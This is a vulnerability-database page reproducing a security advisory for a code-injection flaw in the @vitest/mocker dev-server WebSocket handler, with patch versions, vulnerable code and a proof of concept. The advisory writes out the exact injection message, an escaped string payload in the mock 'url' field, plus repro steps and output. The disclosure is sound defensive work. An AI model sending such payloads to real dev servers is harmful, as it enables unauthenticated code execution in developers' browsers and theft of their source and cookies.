Vulnerability details

4.7/10
CVSS 3.1
GHSA-qxg6-89mg-rqv8
in_triage Published 2026-10-21 Updated 2026-10-21
Vulnerability Data from Dependency-Track
Description
### Summary `@vitest/mocker`'s `interceptorPlugin` accepts mock registrations on Vite's dev-server WebSocket with no authentication, and interpolates the mock's `url` into generated module source without escaping. A client that can reach the dev server can make it serve arbitrary JavaScript in place of any project module, which then runs in the developer's browser on the dev-server origin. Same handler and same unauthenticated caller as GHSA-82fw-gwwq-j7x9; that fix (`8ff9b9a9efca7c6cfd5243569440de8d7a33aec4`, PR #10972) hardened only the `redirect` branch and left the `manual` branch reaching the unescaped generator. ### Patches Fixed in `@vitest/mocker` 5.0.3, released on 2026-09-30 (PR #11377), and backported to 4.1.12. `createManualModuleSource` now serializes the module URL and the export names with `JSON.stringify`, so a registered mock cannot change the generated code. Projects that call `mockerPlugin()` or `interceptorPlugin()` directly need `@vitest/mocker` 4.1.12 or 5.0.3. ### Details `packages/mocker/src/utils.ts:6-9` builds module source by string interpolation: ```ts export function createManualModuleSource(moduleUrl: string, exports: string[], globalAccessor = '"__vitest_mocker__"'): string { const source = ` const __factoryModule__ = await globalThis[${globalAccessor}].getFactoryModule("${moduleUrl}"); ` ``` `moduleUrl` lands inside a double-quoted JavaScript string with no escaping or validation. `packages/mocker/src/node/interceptorPlugin.ts:66-93` feeds it straight from the socket: ```ts configureServer(server) { if (options.registerWebSocketEvents === false) { return } server.ws.on('vitest:interceptor:register', (event: MockedModuleSerialized) => { if (event.type === 'manual') { const module = ManualMockedModule.fromJSON(event, async () => { const keys = await getFactoryExports(event.url) return Object.fromEntries(keys.map(key => [key, null])) }) registry.add(module) // no validation of `id` or `url` } else { if (event.type === 'redirect') { /* fs allowlist check added in #10972 */ } ``` `event.id` chooses which module is hijacked; `event.url` is what gets interpolated. The `load` hook (`interceptorPlugin.ts:30-44`) then returns `createManualModuleSource(mock.url, exports, accessor)` for that id. With `url = 'x"); globalThis.ARES_INJECTED = 1; void("'` a request for `/src/app.js` is answered with valid, executable JavaScript: ```js const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void(""); ``` `getFactoryExports` (`interceptorPlugin.ts:103-117`) also takes the export-name array from the same socket, and those names are interpolated unescaped too — but each name is emitted into `__factoryModule__["X"]`, `export { __0 as "X" }` and `resolvedModule["X"]`, and no payload tested parses in all three positions (all nine candidates were rejected by the parser). It is a hardening gap, not a second usable vector; `url` is the exploited one. **Who can reach the socket.** Vite 8 answers HTTP 400 to any HMR upgrade carrying an `Origin` header it does not own, so a cross-origin browser page cannot open it — the PoC asserts this for `https://evil.example` and `http://localhost:3000`. The reachable attacker is a non-browser WebSocket client with access to the dev server's port, the same prerequisite under which GHSA-82fw-gwwq-j7x9 was published. ### PoC `poc/mocker-manual-mock-injection/` — `repro.sh` (exit 0 = vulnerable), `poc.mjs`, `expected.txt`, `env.txt`. Everything lives under a fresh `mktemp` directory deleted on exit, the dev server binds to `127.0.0.1` on an ephemeral port, no external host is contacted, and the payload is only inspected as text — the script never evaluates it. Environment: commit `9e1166959e14bd32298d8a0e85352431c769ec7a`, `@vitest/mocker` 5.0.0, Node v22.23.1, Vite 8.0.11, ws 8.21.3, pnpm 11.24.0, Linux x86_64. ```bash git clone https://github.com/vitest-dev/vitest && cd vitest git checkout 9e1166959e14bd32298d8a0e85352431c769ec7a pnpm install && pnpm build REPO=$(pwd) bash /path/to/poc/mocker-manual-mock-injection/repro.sh ``` Required configuration — the public setup documented in `packages/mocker/EXPORTS.md`, which the harness reproduces (`mockerPlugin()` wires `interceptorPlugin` the same way): ```ts import { interceptorPlugin } from '@vitest/mocker/node' export default defineConfig({ plugins: [interceptorPlugin()] }) // or mockerPlugin() ``` The attack is one WebSocket message to `ws://<host>:<port>/` with subprotocol `vite-hmr`: ```json { "type": "custom", "event": "vitest:interceptor:register", "data": { "type": "manual", "raw": "", "id": "<abs path of a served module>", "url": "x\"); globalThis.ARES_INJECTED = 1; void(\"" } } ``` then answering the server's `vitest:interceptor:resolve` with `{"type":"custom","event":"vitest:interceptor:resolved","data":{"url":"<same url>","keys":["a"]}}`. The module id can be obtained from the same socket via `vitest:mocks:resolveId` when `mockerPlugin()` is used. Observed output: ``` PASS precondition: Vite rejects a WebSocket upgrade sent with Origin https://evil.example result=400 PASS precondition: Vite rejects a WebSocket upgrade sent with Origin http://localhost:3000 result=400 PASS negative control: with no mock registered the real module is served PASS negative control: a mock with a harmless url replaces the module but injects nothing --- module served for /src/app.js --- const __factoryModule__ = await globalThis["__vitest_mocker__"].getFactoryModule("x"); globalThis.ARES_INJECTED = 1; void(""); let __0 = __factoryModule__["a"] export { __0 as "a" } if (__factoryModule__.__factoryPromise != null) { __factoryModule__.__factoryPromise.then((resolvedModule) => { __0 = resolvedModule["a"]; }) } PASS attacker statement is present in the module the dev server serves PASS the real module body was replaced PASS the injected module parses as JavaScript (Vite import analysis accepted it) RESULT: VULNERABLE ``` * **Positive control** — with no mock registered, `/src/app.js` is served with its real body, so the harness demonstrably works. * **Negative control** — the same registration with a harmless `url` replaces the module but injects nothing, attributing the injection to the payload rather than to mock registration. * **Precondition controls** — the two `Origin` probes record the boundary honestly. * Vite's import analysis rejects malformed output (an earlier deliberately-broken payload failed with "content contains invalid JS syntax"), so acceptance proves the injected module is valid, executable JavaScript. Reproduced three times from a clean `mktemp` fixture, exit 0 each time. ### Impact Code injection (CWE-94) by an unauthenticated client. The attacker picks any module id the project serves and replaces its body with arbitrary JavaScript, which executes in the developer's browser on the dev-server origin: reading source through the dev server, reading that origin's storage and cookies, driving further same-origin requests, and persisting across reloads while the mock stays registered. Nothing is written to disk, so it leaves no trace in the repository. Impacts developers who use the public `mockerPlugin()`/`interceptorPlugin()` API documented in `packages/mocker/EXPORTS.md`. Node runs do not register these handlers. Development-only — `configureServer` does not run for `vite build` or `vite preview`. ### Credits - Thai Son Dinh from VinSOC Labs (R&D) Disclosure per CONTRIBUTING.md: the analysis and proof of concept were assisted by Claude (Claude Code). The findings were reviewed by the reporter above, who is submitting this report.
Same vulnerability as
CVE-2026-112949 in_triage according to EUVD-2026-105148
Analysis Read only

CVE is a trademark and the CVE logo is a registered trademark of The MITRE Corporation. CVE data may be incomplete, delayed, or inaccurate. This website and all information provided are offered on an “as is” basis without warranties of any kind. This site is not affiliated with, endorsed by, or sponsored by the CVE Program or The MITRE Corporation.

This site uses data from the National Vulnerability Database (NVD), obtained through Dependency-Track, but is not endorsed or certified by the NVD or the National Institute of Standards and Technology (NIST). NVD data may be incomplete, delayed, or inaccurate.

CVSS (Common Vulnerability Scoring System) is owned and managed by FIRST.Org, Inc. and used by permission. The links on CVSS vectors open the FIRST CVSS calculators (CVSS 3.0, 3.1 and 4.0), or the NVD calculator for CVSS 2.0. This site is not affiliated with, endorsed by, or sponsored by FIRST.

GitHub is a trademark of GitHub, Inc. GHSA identifiers and advisory data come from the GitHub Advisory Database, licensed under CC-BY 4.0. GHSA data may be incomplete, delayed, or inaccurate. This site is not affiliated with, endorsed by, or sponsored by GitHub, Inc.

Source of the EUVD data: European Vulnerability Database (EUVD), © European Union Agency for Cybersecurity (ENISA), reused with acknowledgement of the source as provided by the ENISA legal notice and IPR policy. Changes: CVEManager does not display the EUVD records as such; it uses their aliases to link the CVE and GHSA identifiers designating the same vulnerability. EUVD data may be incomplete, delayed, or inaccurate. This site is not affiliated with, endorsed by, or sponsored by ENISA or the European Union.